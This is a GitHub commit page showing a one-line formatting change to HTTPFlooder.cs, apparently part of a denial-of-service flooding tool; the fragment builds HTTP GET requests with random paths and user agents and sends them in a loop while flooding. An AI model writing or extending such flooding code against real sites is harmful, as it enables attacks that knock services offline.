Skip to content

HTTPS clone URL

Subversion checkout URL

You can clone with
or
.
Download ZIP
Browse files

Make code look a bit better

  • Loading branch information...
commit 5f5c019de4d7a8f9938669186773ce5cd3e49273 1 parent 5e747b1
@NewEraCracker authored
Showing with 1 addition and 1 deletion.
  1. +1 −1  HTTPFlooder.cs
View
2  HTTPFlooder.cs
@@ -66,7 +66,7 @@ private void bw_DoWork(object sender, DoWorkEventArgs e)
{
try
{
- byte[] buf = System.Text.Encoding.ASCII.GetBytes(String.Format("GET {0}{1} HTTP/1.1{5}Host: {3}{5}User-Agent: {2}{5}Accept: */*{5}{4}{5}{5}", Subsite, (AllowRandom ? new Functions().RandomString() : null), new Functions().RandomUserAgent(), Host, (AllowGzip ? "Accept-Encoding: gzip, deflate" + Environment.NewLine : null), Environment.NewLine));
+ byte[] buf = System.Text.Encoding.ASCII.GetBytes(String.Format("GET {0}{1} HTTP/1.1{5}Host: {3}{5}User-Agent: {2}{5}Accept: */*{5}{4}{5}{5}", Subsite, (AllowRandom ? new Functions().RandomString() : null), new Functions().RandomUserAgent(), Host, (AllowGzip ? "Accept-Encoding: gzip, deflate" + Environment.NewLine : null), Environment.NewLine));
IPEndPoint RHost = new IPEndPoint(System.Net.IPAddress.Parse(IP), Port);
while (IsFlooding)
{
Please sign in to comment.
Something went wrong with that request. Please try again.